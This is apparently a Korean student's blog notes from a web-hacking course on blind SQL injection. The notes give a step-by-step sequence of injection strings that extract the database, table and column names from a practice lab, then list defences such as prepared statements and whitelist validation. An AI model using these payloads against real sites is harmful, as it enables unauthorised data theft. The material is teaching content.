Blind SQL Injection
SQL 질의 결과가 노출되지 않는 곳에 사용 ex)로그인 페이지
기법
( 1 ) LIMIT
Limit [시작위치:0으로 시작], [개수]
limit 0,1 => 0부터 1개 가져옴
limit 1,2 => 1에서부터 2개 가져옴
( 2 ) substring
Ex) Select password from member limit 0,1 > ‘12345’라면
Substring( ‘12345’ , 1, 1 ) 자동화로 비교하도록
( 3 ) ASCII 코드
받아온 데이터를 숫자로 변경해줌.
이진 탐색 알고리즘을 통하면 매우 빠르게 비교 가능
33 ~ 126 ( )
‘normaltic’ 글자의 첫 글자 비교 예시
Substring(‘normaltic’, 1, 1)
Select ~~~~ limit 0,1
Ascii(substring((selcti ~~ limit 0,1),1,1)) -> > 20
순서 및 예시
- 취약점이 있는지 확인 ( mario’ and ‘1’=’1 )
- Blind SQL 인젝션이 가능한지 ( mario‘ and ‘1’=’1 이랑 2랑 참/거짓)
- mario’ and ( ‘1’ = ‘1’ ) and ‘1’ = ‘1
- Blind SQL 인젝션이 가능한지 ( 임의 select 문 삽입 )
select ‘normaltic’
Blind SQL 조건 : ascii(substring((SQL문),1,1)) > 0
- DB 이름 확인
Select database( mario’ and ( ascii(substring((select database()),1,1))>70 ) and ‘1’ = ‘1
- 테이블 이름 확인
Select table_name from information_schema.tables where table_schema = ‘segFault_sqli’ limit 0,1
mario’ and ( ascii(substring( select table_name from information_schema.tables where table_schema = ‘segFault_sqli’ limit 0,1
- ,1,1))> 0 ) and ‘1’ = ‘1
- 컬럼 이름 확인
Select column_name from information_schema.columns where table_name
대응 방안
우선 순위 1) Prepare Statement: 준비된 명령문 사용
Ex) $sql = “ select ~~~ whtere id = ‘?’ ”
Bind(1, $user_id )
1. 이 Prepare Statement가 적용되지 않는 곳 ->
정렬부분, 테이블 이름 order by
2. 연차 있으신 개발자분들
Select where id = ‘$user_id’;
sql.prepated <<
3. 수정되지 않은 프레임 워크 사용
우선 순위 2) 허용목록 입력 유효성 검사
화이트 리스트 기반 : 특정 문자만 허용하는 것
블랙 리스트 기반 : ‘, or, and 등 특정 글자 막는 것
블랙리스트 방식은 취약점이 많아 실제로 대응방안으로 권하고 있지는 않는다.
화이트 기반의 방식을 더 권함.
그렇지만 기본은 prepare statement!
'Web hacking > Nomaltic) 웹 해킹 수업 노트 👩💻' 카테고리의 다른 글
[5주차]XSS(Cross-Site Scripting)이란? (0) | 2021.11.10 |
---|---|
Burp suit 유투브 강의 듣기 (0) | 2021.11.09 |
[4주차]Burp Suite 설치 및 기본설정 (0) | 2021.11.07 |
[4주차]SQL Injection 대응 방안 (0) | 2021.11.04 |
[4주차]해시 함수에 대한 이해 (0) | 2021.11.03 |